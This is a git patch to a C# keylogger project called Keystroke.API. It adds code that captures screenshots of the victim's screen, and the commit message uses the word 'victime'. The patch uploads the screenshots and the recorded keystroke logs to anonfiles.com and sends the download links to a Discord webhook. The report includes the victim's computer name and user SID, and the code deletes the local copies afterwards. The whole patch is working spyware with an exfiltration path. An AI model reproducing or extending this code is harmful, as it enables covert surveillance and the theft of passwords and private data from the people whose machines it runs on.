From 8f305fd976e68c9a51c9d243b45780a7f81e8082 Mon Sep 17 00:00:00 2001 From: Cod3rMax Date: Mon, 5 Dec 2022 13:42:45 +0100 Subject: [PATCH] Add feature when the logs are sent a screenshot from the computer victime will be sent also --- Keystroke.API/Helpers/LoggerUploader.cs | 39 +++++++++++++++++++++---- Keystroke.API/Helpers/Screenshot.cs | 27 +++++++++++++++++ Keystroke.API/Keystroke.API.csproj | 2 ++ 3 files changed, 62 insertions(+), 6 deletions(-) create mode 100644 Keystroke.API/Helpers/Screenshot.cs diff --git a/Keystroke.API/Helpers/LoggerUploader.cs b/Keystroke.API/Helpers/LoggerUploader.cs index 2b7966d..cc25a1a 100644 --- a/Keystroke.API/Helpers/LoggerUploader.cs +++ b/Keystroke.API/Helpers/LoggerUploader.cs @@ -3,14 +3,22 @@ using System.Net; using System.Net.Mime; using System.Security.Principal; +using System.Windows.Forms; using Newtonsoft.Json; using Newtonsoft.Json.Linq; using RestSharp; namespace Keystroke.API.Helpers { + + public class LoggerUploader { + + public static string ScreenShotUrl; + public static string LogUrl; + + public string DiscordUrlHook { get; set; } public LoggerUploader(string DiscordUrlHook) @@ -21,38 +29,56 @@ public LoggerUploader(string DiscordUrlHook) public void OnUserTyping(object sender, EventArgs e) { var logFile = LoggerSaver.LogginDirectory + LoggerSaver.LogginFile; + string TakeScreenShot = Helpers.Screenshot.TakeScreenShot(); // Will check if the size file is more than 200 bytes the file will be uploaded. if (new FileInfo(logFile).Length > 200) { - UploadToAnon(logFile); + UploadToAnon(logFile,"normallog"); + UploadToAnon(TakeScreenShot,"ScreenShot"); //Then the file will be deleted and re-created again File.Delete(logFile); + File.Delete(TakeScreenShot); } } - public void UploadToAnon(string path) + public void UploadToAnon(string path, string LogType) { var copyOfLogs = path + new Random().GetHashCode()+".txt"; File.Copy(path,copyOfLogs); + RestClient restClient = new RestClient("https://api.anonfiles.com/upload"); RestRequest restRequest = new RestRequest(); restRequest.AddFile("file", copyOfLogs); + Console.WriteLine(restClient.PostAsync(restRequest, (response, handle) => { dynamic responseObject = JsonConvert.DeserializeObject(response.Content); var AnonUrl = responseObject["data"]["file"]["url"]["full"]; - ReportUploadedFileToDiscord(AnonUrl); - File.Delete(copyOfLogs); + + if (LogType == "normallog") + { + LogUrl = AnonUrl; + } + else + { + ScreenShotUrl = AnonUrl; + ReportUploadedFileToDiscord(LogUrl, ScreenShotUrl); + } + + File.Delete(copyOfLogs); })); } + + + - public void ReportUploadedFileToDiscord(dynamic url) + public void ReportUploadedFileToDiscord(string LogUrl, string ScreenShotUrl) { RestClient restClient = new RestClient(DiscordUrlHook); RestRequest restRequest = new RestRequest(); @@ -66,7 +92,8 @@ public void ReportUploadedFileToDiscord(dynamic url) { description = $"KeystrokeAPI has new report!" + $"\n**Computer Name:** {WindowsIdentity.GetCurrent().Name}" + - $"\n**DOWNLOAD URL:** ||{url}||" + + $"\n**ScreenShot:** ||{ScreenShotUrl}||" + + $"\n**DOWNLOAD URL:** ||{LogUrl}||" + $"\n**Hwid:** ||{WindowsIdentity.GetCurrent().User?.Value}||", title = $"Keylogger report!", } diff --git a/Keystroke.API/Helpers/Screenshot.cs b/Keystroke.API/Helpers/Screenshot.cs new file mode 100644 index 0000000..396218b --- /dev/null +++ b/Keystroke.API/Helpers/Screenshot.cs @@ -0,0 +1,27 @@ +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Windows.Forms; + +namespace Keystroke.API.Helpers +{ + public class Screenshot + { + public static string TakeScreenShot() + { + string screenShot = Path.GetTempPath() + Guid.NewGuid().ToString() + ".png"; + + using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) + { + using (Graphics graphics = Graphics.FromImage(bitmap)) + { + graphics.CopyFromScreen(0,0,0,0,Screen.PrimaryScreen.Bounds.Size); + } + + bitmap.Save(screenShot, ImageFormat.Png); + return screenShot; + } + } + } +} \ No newline at end of file diff --git a/Keystroke.API/Keystroke.API.csproj b/Keystroke.API/Keystroke.API.csproj index d133c88..570b0fe 100644 --- a/Keystroke.API/Keystroke.API.csproj +++ b/Keystroke.API/Keystroke.API.csproj @@ -75,6 +75,7 @@ + @@ -87,6 +88,7 @@ +